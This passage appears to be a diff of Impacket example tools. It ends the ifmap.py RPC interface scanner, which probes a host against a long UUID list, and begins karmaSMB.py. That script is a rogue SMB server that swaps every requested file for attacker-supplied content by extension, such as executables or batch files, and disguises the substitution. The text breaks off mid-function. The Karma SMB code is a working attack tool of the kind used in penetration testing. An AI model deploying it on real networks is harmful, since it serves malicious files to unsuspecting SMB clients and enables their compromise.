1cbcad78-df0b-4934-b558-87839ea501c9 v0.0
|
||||
1d55b526-c137-46c5-ab79-638f2a68e869 v1.0
|
||||
1ff70682-0a51-30e8-076d-740be8cee98b v1.0
|
||||
201ef99a-7fa0-444c-9399-19ba84f12a1a v1.0
|
||||
20610036-fa22-11cf-9823-00a0c911e5df v1.0
|
||||
209bb240-b919-11d1-bbb6-0080c75e4ec1 v1.0
|
||||
21cd80a2-b305-4f37-9d4c-4534a8d9b568 v0.0
|
||||
2465e9e0-a873-11d0-930b-00a0c90ab17c v3.0
|
||||
25952c5d-7976-4aa1-a3cb-c35f7ae79d1b v1.0
|
||||
266f33b4-c7c1-4bd1-8f52-ddb8f2214ea9 v1.0
|
||||
28607ff1-15a0-8e03-d670-b89eec8eb047 v1.0
|
||||
2acb9d68-b434-4b3e-b966-e06b4b3a84cb v1.0
|
||||
2eb08e3e-639f-4fba-97b1-14f878961076 v1.0
|
||||
2f59a331-bf7d-48cb-9e5c-7c090d76e8b8 v1.0
|
||||
2f5f3220-c126-1076-b549-074d078619da v1.2
|
||||
2f5f6520-ca46-1067-b319-00dd010662da v1.0
|
||||
2f5f6521-ca47-1068-b319-00dd010662db v1.0
|
||||
2f5f6521-cb55-1059-b446-00df0bce31db v1.0
|
||||
2fb92682-6599-42dc-ae13-bd2ca89bd11c v1.0
|
||||
300f3532-38cc-11d0-a3f0-0020af6b0add v1.2
|
||||
326731e3-c1c0-4a69-ae20-7d9044a4ea5c v1.0
|
||||
333a2276-0000-0000-0d00-00809c000000 v3.0
|
||||
338cd001-2244-31f1-aaaa-900038001003 v1.0
|
||||
342cfd40-3c6c-11ce-a893-08002b2e9c6d v0.0
|
||||
3473dd4d-2e88-4006-9cba-22570909dd10 v5.0
|
||||
3473dd4d-2e88-4006-9cba-22570909dd10 v5.1
|
||||
359e47c9-682e-11d0-adec-00c04fc2a078 v1.0
|
||||
367abb81-9844-35f1-ad32-98f038001003 v2.0
|
||||
369ce4f0-0fdc-11d3-bde8-00c04f8eee78 v1.0
|
||||
378e52b0-c0a9-11cf-822d-00aa0051e40f v1.0
|
||||
386ffca4-22f5-4464-b660-be08692d7296 v1.0
|
||||
38a94e72-a9bc-11d2-8faf-00c04fa378ff v1.0
|
||||
3919286a-b10c-11d0-9ba8-00c04fd92ef5 v0.0
|
||||
3ba0ffc0-93fc-11d0-a4ec-00a0c9062910 v1.0
|
||||
3c4728c5-f0ab-448b-bda1-6ce01eb0a6d5 v1.0
|
||||
3c4728c5-f0ab-448b-bda1-6ce01eb0a6d6 v1.0
|
||||
3dde7c30-165d-11d1-ab8f-00805f14db40 v1.0
|
||||
3f31c91e-2545-4b7b-9311-9529e8bffef6 v1.0
|
||||
3f77b086-3a17-11d3-9166-00c04f688e28 v1.0
|
||||
3f99b900-4d87-101b-99b7-aa0004007f07 v1.0
|
||||
3faf4738-3a21-4307-b46c-fdda9bb8c0d5 v1.0
|
||||
3faf4738-3a21-4307-b46c-fdda9bb8c0d5 v1.1
|
||||
41208ee0-e970-11d1-9b9e-00e02c064c39 v1.0
|
||||
412f241e-c12a-11ce-abff-0020af6e7a17 v0.2
|
||||
423ec01e-2e35-11d2-b604-00104b703efd v0.0
|
||||
45776b01-5956-4485-9f80-f428f7d60129 v2.0
|
||||
45f52c28-7f9f-101a-b52b-08002b2efabe v1.0
|
||||
469d6ec0-0d87-11ce-b13f-00aa003bac6c v16.0
|
||||
4825ea41-51e3-4c2a-8406-8f2d2698395f v1.0
|
||||
4a452661-8290-4b36-8fbe-7f4093a94978 v1.0
|
||||
4b112204-0e19-11d3-b42b-0000f81feb9f v1.0
|
||||
4b324fc8-1670-01d3-1278-5a47bf6ee188 v0.0
|
||||
4b324fc8-1670-01d3-1278-5a47bf6ee188 v3.0
|
||||
4d9f4ab8-7d1c-11cf-861e-0020af6e7c57 v0.0
|
||||
4da1c422-943d-11d1-acae-00c04fc2aa3f v1.0
|
||||
4f82f460-0e21-11cf-909e-00805f48a135 v4.0
|
||||
4fc742e0-4a10-11cf-8273-00aa004ae673 v3.0
|
||||
50abc2a4-574d-40b3-9d66-ee4fd5fba076 v5.0
|
||||
53e75790-d96b-11cd-ba18-08002b2dfead v2.0
|
||||
56c8504c-4408-40fd-93fc-afd30f10c90d v1.0
|
||||
57674cd0-5200-11ce-a897-08002b2e9c6d v0.0
|
||||
57674cd0-5200-11ce-a897-08002b2e9c6d v1.0
|
||||
5a7b91f8-ff00-11d0-a9b2-00c04fb6e6fc v1.0
|
||||
5b5b3580-b0e0-11d1-b92d-0060081e87f0 v1.0
|
||||
5b821720-f63b-11d0-aad2-00c04fc324db v1.0
|
||||
5c89f409-09cc-101a-89f3-02608c4d2361 v1.1
|
||||
5ca4a760-ebb1-11cf-8611-00a0245420ed v1.0
|
||||
5cbe92cb-f4be-45c9-9fc9-33e73e557b20 v1.0
|
||||
5f54ce7d-5b79-4175-8584-cb65313a0e98 v1.0
|
||||
6099fc12-3eff-11d0-abd0-00c04fd91a4e v3.0
|
||||
621dff68-3c39-4c6c-aae3-e68e2c6503ad v1.0
|
||||
629b9f66-556c-11d1-8dd2-00aa004abd5e v2.0
|
||||
629b9f66-556c-11d1-8dd2-00aa004abd5e v3.0
|
||||
63fbe424-2029-11d1-8db8-00aa004abd5e v1.0
|
||||
654976df-1498-4056-a15e-cb4e87584bd8 v1.0
|
||||
65a93890-fab9-43a3-b2a5-1e330ac28f11 v2.0
|
||||
68dcd486-669e-11d1-ab0c-00c04fc2dcd2 v1.0
|
||||
68dcd486-669e-11d1-ab0c-00c04fc2dcd2 v2.0
|
||||
69510fa1-2f99-4eeb-a4ff-af259f0f9749 v1.0
|
||||
6bffd098-0206-0936-4859-199201201157 v1.0
|
||||
6bffd098-a112-3610-9833-012892020162 v0.0
|
||||
6bffd098-a112-3610-9833-46c3f874532d v1.0
|
||||
6bffd098-a112-3610-9833-46c3f87e345a v1.0
|
||||
6e17aaa0-1a47-11d1-98bd-0000f875292e v2.0
|
||||
708cca10-9569-11d1-b2a5-0060977d8118 v1.0
|
||||
70b51430-b6ca-11d0-b9b9-00a0c922e750 v0.0
|
||||
76d12b80-3467-11d3-91ff-0090272f9ea3 v1.0
|
||||
76f226c3-ec14-4325-8a99-6a46348418ae v1.0
|
||||
76f226c3-ec14-4325-8a99-6a46348418af v1.0
|
||||
77df7a80-f298-11d0-8358-00a024c480a8 v1.0
|
||||
7af5bbd0-6063-11d1-ae2a-0080c75e4ec1 v0.2
|
||||
7c44d7d4-31d5-424c-bd5e-2b3e1f323d22 v1.0
|
||||
7c857801-7381-11cf-884d-00aa004b2e24 v0.0
|
||||
7e048d38-ac08-4ff1-8e6b-f35dbab88d4a v1.0
|
||||
7ea70bcf-48af-4f6a-8968-6a440754d5fa v1.0
|
||||
7f9d11bf-7fb9-436b-a812-b2d50c5d4c03 v1.0
|
||||
811109bf-a4e1-11d1-ab54-00a0c91e9b45 v1.0
|
||||
8174bb16-571b-4c38-8386-1102b449044a v1.0
|
||||
82273fdc-e32a-18c3-3f78-827929dc23ea v0.0
|
||||
82980780-4b64-11cf-8809-00a004ff3128 v3.0
|
||||
82ad4280-036b-11cf-972c-00aa006887b0 v2.0
|
||||
83d72bf0-0d89-11ce-b13f-00aa003bac6c v6.0
|
||||
83da7c00-e84f-11d2-9807-00c04f8ec850 v2.0
|
||||
86d35949-83c9-4044-b424-db363231fd0c v1.0
|
||||
894de0c0-0d55-11d3-a322-00c04fa321a1 v1.0
|
||||
89742ace-a9ed-11cf-9c0c-08002be7ae86 v2.0
|
||||
8c7a6de0-788d-11d0-9edf-444553540000 v2.0
|
||||
8c7daf44-b6dc-11d1-9a4c-0020af6e7c57 v1.0
|
||||
8cfb5d70-31a4-11cf-a7d8-00805f48a135 v3.0
|
||||
8d09b37c-9f3a-4ebb-b0a2-4dee7d6ceae9 v1.0
|
||||
8d0ffe72-d252-11d0-bf8f-00c04fd9126b v1.0
|
||||
8d9f4e40-a03d-11ce-8f69-08003e30051b v0.0
|
||||
8d9f4e40-a03d-11ce-8f69-08003e30051b v1.0
|
||||
8f09f000-b7ed-11ce-bbd2-00001a181cad v0.0
|
||||
8fb6d884-2388-11d0-8c35-00c04fda2795 v4.1
|
||||
906b0ce0-c70b-1067-b317-00dd010662da v1.0
|
||||
91ae6020-9e3c-11cf-8d7c-00aa00c091be v0.0
|
||||
92bdb7e4-f28b-46a0-b551-45a52bdd5125 v0.0
|
||||
93149ca2-973b-11d1-8c39-00c04fb984f9 v0.0
|
||||
93f5ac6f-1a94-4bc5-8d1b-fd44fc255089 v1.0
|
||||
9556dc99-828c-11cf-a37e-00aa003240c7 v0.0
|
||||
95958c94-a424-4055-b62b-b7f4d5c47770 v1.0
|
||||
975201b0-59ca-11d0-a8d5-00a0c90d8051 v1.0
|
||||
98fe2c90-a542-11d0-a4ef-00a0c9062910 v1.0
|
||||
99e64010-b032-11d0-97a4-00c04fd6551d v3.0
|
||||
99fcfec4-5260-101b-bbcb-00aa0021347a v0.0
|
||||
9b3195fe-d603-43d1-a0d5-9072d7cde122 v1.0
|
||||
9b8699ae-0e44-47b1-8e7f-86a461d7ecdc v0.0
|
||||
9e8ee830-4459-11ce-979b-00aa005ffebe v2.0
|
||||
a002b3a0-c9b7-11d1-ae88-0080c75e4ec1 v1.0
|
||||
a00c021c-2be2-11d2-b678-0000f87a8f8e v1.0
|
||||
a0bc4698-b8d7-4330-a28f-7709e18b6108 v4.0
|
||||
a2d47257-12f7-4beb-8981-0ebfa935c407 v1.0
|
||||
a398e520-d59a-4bdd-aa7a-3c1e0303a511 v1.0
|
||||
a3b749b1-e3d0-4967-a521-124055d1c37d v1.0
|
||||
a4c2fd60-5210-11d1-8fc2-00a024cb6019 v1.0
|
||||
a4f1db00-ca47-1067-b31e-00dd010662da v1.0
|
||||
a4f1db00-ca47-1067-b31f-00dd010662da v0.0
|
||||
a4f1db00-ca47-1067-b31f-00dd010662da v0.81
|
||||
aa177641-fc9b-41bd-80ff-f964a701596f v1.0
|
||||
aa411582-9bdf-48fb-b42b-faa1eee33949 v1.0
|
||||
aae9ac90-ce13-11cf-919e-08002be23c64 v1.0
|
||||
ae33069b-a2a8-46ee-a235-ddfd339be281 v1.0
|
||||
afa8bd80-7d8a-11c9-bef4-08002b102989 v1.0
|
||||
b196b284-bab4-101a-b69c-00aa00341d07 v0.0
|
||||
b196b286-bab4-101a-b69c-00aa00341d07 v0.0
|
||||
b58aa02e-2884-4e97-8176-4ee06d794184 v1.0
|
||||
b7b31df9-d515-11d3-a11c-00105a1f515a v0.0
|
||||
b97db8b2-4c63-11cf-bff6-08002be23f2f v2.0
|
||||
b9e79e60-3d52-11ce-aaa1-00006901293f v0.2
|
||||
bfa951d1-2f0e-11d3-bfd1-00c04fa3490a v1.0
|
||||
c13d3372-cc20-4449-9b23-8cc8271b3885 v1.0
|
||||
c33b9f46-2088-4dbc-97e3-6125f127661c v1.0
|
||||
c681d488-d850-11d0-8c52-00c04fd90f7e v1.0
|
||||
c6f3ee72-ce7e-11d1-b71e-00c04fc3111a v1.0
|
||||
c8cb7687-e6d3-11d2-a958-00c04f682e16 v1.0
|
||||
c9378ff1-16f7-11d0-a0b2-00aa0061426a v1.0
|
||||
c9ac6db5-82b7-4e55-ae8a-e464ed7b4277 v1.0
|
||||
ce1334a5-41dd-40ea-881d-64326b23effe v0.2
|
||||
d049b186-814f-11d1-9a3c-00c04fc9b232 v1.1
|
||||
d2d79dfa-3400-11d0-b40b-00aa005ff586 v1.0
|
||||
d335b8f6-cb31-11d0-b0f9-006097ba4e54 v1.5
|
||||
d3fbb514-0e3b-11cb-8fad-08002b1d29c3 v1.0
|
||||
d4781cd6-e5d3-44df-ad94-930efe48a887 v0.0
|
||||
d6d70ef0-0e3b-11cb-acc3-08002b1d29c3 v1.0
|
||||
d6d70ef0-0e3b-11cb-acc3-08002b1d29c4 v1.0
|
||||
d7f9e1c0-2247-11d1-ba89-00c04fd91268 v5.0
|
||||
d95afe70-a6d5-4259-822e-2c84da1ddb0d v1.0
|
||||
dd490425-5325-4565-b774-7e27d6c09c24 v1.0
|
||||
e1af8308-5d1f-11c9-91a4-08002b14a0fa v3.0
|
||||
e248d0b8-bf15-11cf-8c5e-08002bb49649 v2.0
|
||||
e33c0cc4-0482-101a-bc0c-02608c6ba218 v1.0
|
||||
e3514235-4b06-11d1-ab04-00c04fc2dcd2 v4.0
|
||||
e60c73e6-88f9-11cf-9af1-0020af6e72f4 v2.0
|
||||
e67ab081-9844-3521-9d32-834f038001c0 v1.0
|
||||
e76ea56d-453f-11cf-bfec-08002be23f2f v2.0
|
||||
ea0a3165-4834-11d2-a6f8-00c04fa346cc v4.0
|
||||
eb658b8a-7a64-4ddc-9b8d-a92610db0206 v0.0
|
||||
ec02cae0-b9e0-11d2-be62-0020afeddf63 v1.0
|
||||
ecec0d70-a603-11d0-96b1-00a0c91ece30 v1.0
|
||||
ecec0d70-a603-11d0-96b1-00a0c91ece30 v2.0
|
||||
eff55e30-4ee2-11ce-a3c9-00aa00607271 v1.0
|
||||
f309ad18-d86a-11d0-a075-00c04fb68820 v0.0
|
||||
f50aac00-c7f3-428e-a022-a6b71bfb9d43 v1.0
|
||||
f5cc59b4-4264-101a-8c59-08002b2f8426 v1.1
|
||||
f5cc5a18-4264-101a-8c59-08002b2f8426 v56.0
|
||||
f5cc5a7c-4264-101a-8c59-08002b2f8426 v21.0
|
||||
f6beaff7-1e19-4fbb-9f8f-b89e2018337c v1.0
|
||||
f930c514-1215-11d3-99a5-00a0c9b61b04 v1.0
|
||||
fc13257d-5567-4dea-898d-c6f9c48415a0 v1.0
|
||||
fd7a0523-dc70-43dd-9b2e-9c5ed48225b1 v1.0
|
||||
fdb3a030-065f-11d1-bb9b-00a024ea5525 v1.0
|
||||
ffe561b8-bf15-11cf-8c5e-08002bb49649 v2.0
|
||||
""".splitlines() if line)
|
||||
uuid_database = set((uuidstr.upper(), ver) for uuidstr, ver in uuid_database)
|
||||
|
||||
# add the ones from ndrutils
|
||||
k = KNOWN_UUIDS.keys()[0]
|
||||
def fix_ndr_uuid(ndruuid):
|
||||
assert len(ndruuid) == 18
|
||||
uuid = ndruuid[:16]
|
||||
maj, min = struct.unpack("BB", ndruuid[16:])
|
||||
return uuid + struct.pack("<HH", maj, min)
|
||||
uuid_database.update(
|
||||
uuid.bin_to_uuidtup(fix_ndr_uuid(bin)) for bin in KNOWN_UUIDS.keys()
|
||||
)
|
||||
|
||||
def main(args):
|
||||
# Init the example's logger theme
|
||||
logger.init()
|
||||
if len(args) != 2:
|
||||
print "usage: ./ifmap.py <host> <port>"
|
||||
return 1
|
||||
|
||||
host = args[0]
|
||||
port = int(args[1])
|
||||
|
||||
stringbinding = "ncacn_ip_tcp:%s" % host
|
||||
trans = transport.DCERPCTransportFactory(stringbinding)
|
||||
trans.set_dport(port)
|
||||
|
||||
dce = trans.get_dce_rpc()
|
||||
dce.connect()
|
||||
|
||||
dce.bind(mgmt.MSRPC_UUID_MGMT)
|
||||
|
||||
ifids = mgmt.hinq_if_ids(dce)
|
||||
|
||||
uuidtups = set(
|
||||
uuid.bin_to_uuidtup(ifids['if_id_vector']['if_id'][index]['Data'].getData())
|
||||
for index in range(ifids['if_id_vector']['count'])
|
||||
)
|
||||
|
||||
dce.disconnect()
|
||||
|
||||
probes = uuidtups | uuid_database
|
||||
|
||||
for tup in sorted(probes):
|
||||
|
||||
dce.connect()
|
||||
|
||||
binuuid = uuid.uuidtup_to_bin(tup)
|
||||
try:
|
||||
dce.bind(binuuid)
|
||||
except rpcrt.DCERPCException, e:
|
||||
if str(e).find('abstract_syntax_not_supported') >= 0:
|
||||
listening = False
|
||||
else:
|
||||
raise
|
||||
else:
|
||||
listening = True
|
||||
|
||||
listed = tup in uuidtups
|
||||
otherversion = any(tup[0] == uuidstr for uuidstr, ver in uuidtups)
|
||||
if listed or listening:
|
||||
print "%r: %s, %s" % (
|
||||
tup,
|
||||
"listed" if listed else "other version listed" if otherversion else "not listed",
|
||||
"listening" if listening else "not listening"
|
||||
)
|
||||
if epm.KNOWN_PROTOCOLS.has_key(tup[0]):
|
||||
print "Protocol: %s" % (epm.KNOWN_PROTOCOLS[tup[0]])
|
||||
else:
|
||||
print "Procotol: N/A"
|
||||
|
||||
if KNOWN_UUIDS.has_key(uuid.uuidtup_to_bin(tup)[:18]):
|
||||
print "Provider: %s" % (KNOWN_UUIDS[uuid.uuidtup_to_bin(tup)[:18]])
|
||||
else:
|
||||
print "Provider: N/A"
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
sys.exit(main(sys.argv[1:]))
|
||||
@@ -0,0 +1,629 @@
|
||||
#!/usr/bin/env python
|
||||
# Copyright (c) 2016 CORE Security Technologies
|
||||
#
|
||||
# This software is provided under under a slightly modified version
|
||||
# of the Apache Software License. See the accompanying LICENSE file
|
||||
# for more information.
|
||||
#
|
||||
# Karma SMB
|
||||
#
|
||||
# Author:
|
||||
# Alberto Solino (@agsolino)
|
||||
# Original idea by @mubix
|
||||
#
|
||||
# Description:
|
||||
# The idea of this script is to answer any file read request
|
||||
# with a set of predefined contents based on the extension
|
||||
# asked, regardless of the sharename and/or path.
|
||||
# When executing this script w/o a config file the pathname
|
||||
# file contents will be sent for every request.
|
||||
# If a config file is specified, format should be this way:
|
||||
# <extension> = <pathname>
|
||||
# for example:
|
||||
# bat = /tmp/batchfile
|
||||
# com = /tmp/comfile
|
||||
# exe = /tmp/exefile
|
||||
#
|
||||
# The SMB2 support works with a caveat. If two different
|
||||
# filenames at the same share are requested, the first
|
||||
# one will work and the second one will not work if the request
|
||||
# is performed right away. This seems related to the
|
||||
# QUERY_DIRECTORY request, where we return the files available.
|
||||
# In the first try, we return the file that was asked to open.
|
||||
# In the second try, the client will NOT ask for another
|
||||
# QUERY_DIRECTORY but will use the cached one. This time the new file
|
||||
# is not there, so the client assumes it doesn't exist.
|
||||
# After a few seconds, looks like the client cache is cleared and
|
||||
# the operation works again. Further research is needed trying
|
||||
# to avoid this from happening.
|
||||
#
|
||||
# SMB1 seems to be working fine on that scenario.
|
||||
#
|
||||
# ToDo:
|
||||
# [ ] A lot of testing needed under different OSes.
|
||||
# I'm still not sure how reliable this approach is.
|
||||
# [ ] Add support for other SMB read commands. Right now just
|
||||
# covering SMB_COM_NT_CREATE_ANDX
|
||||
# [ ] Disable write request, now if the client tries to copy
|
||||
# a file back to us, it will overwrite the files we're
|
||||
# hosting. *CAREFUL!!!*
|
||||
#
|
||||
|
||||
|
||||
import sys
|
||||
import os
|
||||
import argparse
|
||||
import logging
|
||||
import ntpath
|
||||
import ConfigParser
|
||||
from threading import Thread
|
||||
|
||||
from impacket.examples import logger
|
||||
from impacket import smbserver, smb, version
|
||||
import impacket.smb3structs as smb2
|
||||
from impacket.smb import FILE_OVERWRITE, FILE_OVERWRITE_IF, FILE_WRITE_DATA, FILE_APPEND_DATA, GENERIC_WRITE
|
||||
from impacket.nt_errors import STATUS_USER_SESSION_DELETED, STATUS_SUCCESS, STATUS_ACCESS_DENIED, STATUS_NO_MORE_FILES, \
|
||||
STATUS_OBJECT_PATH_NOT_FOUND
|
||||
from impacket.smbserver import SRVSServer, decodeSMBString, findFirst2, STATUS_SMB_BAD_TID, encodeSMBString, \
|
||||
getFileTime, queryPathInformation
|
||||
|
||||
|
||||
class KarmaSMBServer(Thread):
|
||||
def __init__(self, smb2Support = False):
|
||||
Thread.__init__(self)
|
||||
self.server = 0
|
||||
self.defaultFile = None
|
||||
self.extensions = {}
|
||||
|
||||
# Here we write a mini config for the server
|
||||
smbConfig = ConfigParser.ConfigParser()
|
||||
smbConfig.add_section('global')
|
||||
smbConfig.set('global','server_name','server_name')
|
||||
smbConfig.set('global','server_os','UNIX')
|
||||
smbConfig.set('global','server_domain','WORKGROUP')
|
||||
smbConfig.set('global','log_file','smb.log')
|
||||
smbConfig.set('global','credentials_file','')
|
||||
|
||||
# IPC always needed
|
||||
smbConfig.add_section('IPC$')
|
||||
smbConfig.set('IPC$','comment','Logon server share')
|
||||
smbConfig.set('IPC$','read only','yes')
|
||||
smbConfig.set('IPC$','share type','3')
|
||||
smbConfig.set('IPC$','path','')
|
||||
|
||||
# NETLOGON always needed
|
||||
smbConfig.add_section('NETLOGON')
|
||||
smbConfig.set('NETLOGON','comment','Logon server share')
|
||||
smbConfig.set('NETLOGON','read only','no')
|
||||
smbConfig.set('NETLOGON','share type','0')
|
||||
smbConfig.set('NETLOGON','path','')
|
||||
|
||||
# SYSVOL always needed
|
||||
smbConfig.add_section('SYSVOL')
|
||||
smbConfig.set('SYSVOL','comment','')
|
||||
smbConfig.set('SYSVOL','read only','no')
|
||||
smbConfig.set('SYSVOL','share type','0')
|
||||
smbConfig.set('SYSVOL','path','')
|
||||
|
||||
if smb2Support:
|
||||
smbConfig.set("global", "SMB2Support", "True")
|
||||
|
||||
self.server = smbserver.SMBSERVER(('0.0.0.0',445), config_parser = smbConfig)
|
||||
self.server.processConfigFile()
|
||||
|
||||
# Unregistering some dangerous and unwanted commands
|
||||
self.server.unregisterSmbCommand(smb.SMB.SMB_COM_CREATE_DIRECTORY)
|
||||
self.server.unregisterSmbCommand(smb.SMB.SMB_COM_DELETE_DIRECTORY)
|
||||
self.server.unregisterSmbCommand(smb.SMB.SMB_COM_RENAME)
|
||||
self.server.unregisterSmbCommand(smb.SMB.SMB_COM_DELETE)
|
||||
self.server.unregisterSmbCommand(smb.SMB.SMB_COM_WRITE)
|
||||
self.server.unregisterSmbCommand(smb.SMB.SMB_COM_WRITE_ANDX)
|
||||
|
||||
self.server.unregisterSmb2Command(smb2.SMB2_WRITE)
|
||||
|
||||
self.origsmbComNtCreateAndX = self.server.hookSmbCommand(smb.SMB.SMB_COM_NT_CREATE_ANDX, self.smbComNtCreateAndX)
|
||||
self.origsmbComTreeConnectAndX = self.server.hookSmbCommand(smb.SMB.SMB_COM_TREE_CONNECT_ANDX, self.smbComTreeConnectAndX)
|
||||
self.origQueryPathInformation = self.server.hookTransaction2(smb.SMB.TRANS2_QUERY_PATH_INFORMATION, self.queryPathInformation)
|
||||
self.origFindFirst2 = self.server.hookTransaction2(smb.SMB.TRANS2_FIND_FIRST2, self.findFirst2)
|
||||
|
||||
# And the same for SMB2
|
||||
self.origsmb2TreeConnect = self.server.hookSmb2Command(smb2.SMB2_TREE_CONNECT, self.smb2TreeConnect)
|
||||
self.origsmb2Create = self.server.hookSmb2Command(smb2.SMB2_CREATE, self.smb2Create)
|
||||
self.origsmb2QueryDirectory = self.server.hookSmb2Command(smb2.SMB2_QUERY_DIRECTORY, self.smb2QueryDirectory)
|
||||
self.origsmb2Read = self.server.hookSmb2Command(smb2.SMB2_READ, self.smb2Read)
|
||||
self.origsmb2Close = self.server.hookSmb2Command(smb2.SMB2_CLOSE, self.smb2Close)
|
||||
|
||||
# Now we have to register the MS-SRVS server. This specially important for
|
||||
# Windows 7+ and Mavericks clients since they WONT (specially OSX)
|
||||
# ask for shares using MS-RAP.
|
||||
|
||||
self.__srvsServer = SRVSServer()
|
||||
self.__srvsServer.daemon = True
|
||||
self.server.registerNamedPipe('srvsvc',('127.0.0.1',self.__srvsServer.getListenPort()))
|
||||
|
||||
def findFirst2(self, connId, smbServer, recvPacket, parameters, data, maxDataCount):
|
||||
connData = smbServer.getConnectionData(connId)
|
||||
|
||||
respSetup = ''
|
||||
respParameters = ''
|
||||
respData = ''
|
||||
findFirst2Parameters = smb.SMBFindFirst2_Parameters( recvPacket['Flags2'], data = parameters)
|
||||
|
||||
# 1. Let's grab the extension and map the file's contents we will deliver
|
||||
origPathName = os.path.normpath(decodeSMBString(recvPacket['Flags2'],findFirst2Parameters['FileName']).replace('\\','/'))
|
||||
origFileName = os.path.basename(origPathName)
|
||||
|
||||
_, origPathNameExtension = os.path.splitext(origPathName)
|
||||
origPathNameExtension = origPathNameExtension.upper()[1:]
|
||||
|
||||
if self.extensions.has_key(origPathNameExtension.upper()):
|
||||
targetFile = self.extensions[origPathNameExtension.upper()]
|
||||
else:
|
||||
targetFile = self.defaultFile
|
||||
|
||||
if connData['ConnectedShares'].has_key(recvPacket['Tid']):
|
||||
path = connData['ConnectedShares'][recvPacket['Tid']]['path']
|
||||
|
||||
# 2. We call the normal findFirst2 call, but with our targetFile
|
||||
searchResult, searchCount, errorCode = findFirst2(path,
|
||||
targetFile,
|
||||
findFirst2Parameters['InformationLevel'],
|
||||
findFirst2Parameters['SearchAttributes'] )
|
||||
|
||||
respParameters = smb.SMBFindFirst2Response_Parameters()
|
||||
endOfSearch = 1
|
||||
sid = 0x80 # default SID
|
||||
searchCount = 0
|
||||
totalData = 0
|
||||
for i in enumerate(searchResult):
|
||||
#i[1].dump()
|
||||
try:
|
||||
# 3. And we restore the original filename requested ;)
|
||||
i[1]['FileName'] = encodeSMBString( flags = recvPacket['Flags2'], text = origFileName)
|
||||
except:
|
||||
pass
|
||||
|
||||
data = i[1].getData()
|
||||
lenData = len(data)
|
||||
if (totalData+lenData) >= maxDataCount or (i[0]+1) > findFirst2Parameters['SearchCount']:
|
||||
# We gotta stop here and continue on a find_next2
|
||||
endOfSearch = 0
|
||||
# Simple way to generate a fid
|
||||
if len(connData['SIDs']) == 0:
|
||||
sid = 1
|
||||
else:
|
||||
sid = connData['SIDs'].keys()[-1] + 1
|
||||
# Store the remaining search results in the ConnData SID
|
||||
connData['SIDs'][sid] = searchResult[i[0]:]
|
||||
respParameters['LastNameOffset'] = totalData
|
||||
break
|
||||
else:
|
||||
searchCount +=1
|
||||
respData += data
|
||||
totalData += lenData
|
||||
|
||||
|
||||
respParameters['SID'] = sid
|
||||
respParameters['EndOfSearch'] = endOfSearch
|
||||
respParameters['SearchCount'] = searchCount
|
||||
else:
|
||||
errorCode = STATUS_SMB_BAD_TID
|
||||
|
||||
smbServer.setConnectionData(connId, connData)
|
||||
|
||||
return respSetup, respParameters, respData, errorCode
|
||||
|
||||
def smbComNtCreateAndX(self, connId, smbServer, SMBCommand, recvPacket):
|
||||
connData = smbServer.getConnectionData(connId)
|
||||
|
||||
ntCreateAndXParameters = smb.SMBNtCreateAndX_Parameters(SMBCommand['Parameters'])
|
||||
ntCreateAndXData = smb.SMBNtCreateAndX_Data( flags = recvPacket['Flags2'], data = SMBCommand['Data'])
|
||||
|
||||
respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_NT_CREATE_ANDX)
|
||||
|
||||
#ntCreateAndXParameters.dump()
|
||||
|
||||
# Let's try to avoid allowing write requests from the client back to us
|
||||
# not 100% bulletproof, plus also the client might be using other SMB
|
||||
# calls (e.g. SMB_COM_WRITE)
|
||||
createOptions = ntCreateAndXParameters['CreateOptions']
|
||||
if createOptions & smb.FILE_DELETE_ON_CLOSE == smb.FILE_DELETE_ON_CLOSE:
|
||||
errorCode = STATUS_ACCESS_DENIED
|
||||
elif ntCreateAndXParameters['Disposition'] & smb.FILE_OVERWRITE == FILE_OVERWRITE:
|
||||
errorCode = STATUS_ACCESS_DENIED
|
||||
elif ntCreateAndXParameters['Disposition'] & smb.FILE_OVERWRITE_IF == FILE_OVERWRITE_IF:
|
||||
errorCode = STATUS_ACCESS_DENIED
|
||||
elif ntCreateAndXParameters['AccessMask'] & smb.FILE_WRITE_DATA == FILE_WRITE_DATA:
|
||||
errorCode = STATUS_ACCESS_DENIED
|
||||
elif ntCreateAndXParameters['AccessMask'] & smb.FILE_APPEND_DATA == FILE_APPEND_DATA:
|
||||
errorCode = STATUS_ACCESS_DENIED
|
||||
elif ntCreateAndXParameters['AccessMask'] & smb.GENERIC_WRITE == GENERIC_WRITE:
|
||||
errorCode = STATUS_ACCESS_DENIED
|
||||
elif ntCreateAndXParameters['AccessMask'] & 0x10000 == 0x10000:
|
||||
errorCode = STATUS_ACCESS_DENIED
|
||||
else:
|
||||
errorCode = STATUS_SUCCESS
|
||||
|
||||
if errorCode == STATUS_ACCESS_DENIED:
|
||||
return [respSMBCommand], None, errorCode
|
||||
|
||||
# 1. Let's grab the extension and map the file's contents we will deliver
|
||||
origPathName = os.path.normpath(decodeSMBString(recvPacket['Flags2'],ntCreateAndXData['FileName']).replace('\\','/'))
|
||||
|
||||
_, origPathNameExtension = os.path.splitext(origPathName)
|
||||
origPathNameExtension = origPathNameExtension.upper()[1:]
|
||||
|
||||
if self.extensions.has_key(origPathNameExtension.upper()):
|
||||
targetFile = self.extensions[origPathNameExtension.upper()]
|
||||
else:
|
||||
targetFile = self.defaultFile
|
||||
|
||||
# 2. We change the filename in the request for our targetFile
|
||||
ntCreateAndXData['FileName'] = encodeSMBString( flags = recvPacket['Flags2'], text = targetFile)
|
||||
SMBCommand['Data'] = str(ntCreateAndXData)
|
||||
smbServer.log("%s is asking for %s. Delivering %s" % (connData['ClientIP'], origPathName,targetFile),logging.INFO)
|
||||
|
||||
# 3. We call the original call with our modified data
|
||||
return self.origsmbComNtCreateAndX(connId, smbServer, SMBCommand, recvPacket)
|
||||
|
||||
def queryPathInformation(self, connId, smbServer, recvPacket, parameters, data, maxDataCount = 0):
|
||||
# The trick we play here is that Windows clients first ask for the file
|
||||
# and then it asks for the directory containing the file.
|
||||
# It is important to answer the right questions for the attack to work
|
||||
|
||||
connData = smbServer.getConnectionData(connId)
|
||||
|
||||
respSetup = ''
|
||||
respParameters = ''
|
||||
respData = ''
|
||||
errorCode = 0
|
||||
|
||||
queryPathInfoParameters = smb.SMBQueryPathInformation_Parameters(flags = recvPacket['Flags2'], data = parameters)
|
||||
|
||||
if connData['ConnectedShares'].has_key(recvPacket['Tid']):
|
||||
path = ''
|
||||
try:
|
||||
origPathName = decodeSMBString(recvPacket['Flags2'], queryPathInfoParameters['FileName'])
|
||||
origPathName = os.path.normpath(origPathName.replace('\\','/'))
|
||||
|
||||
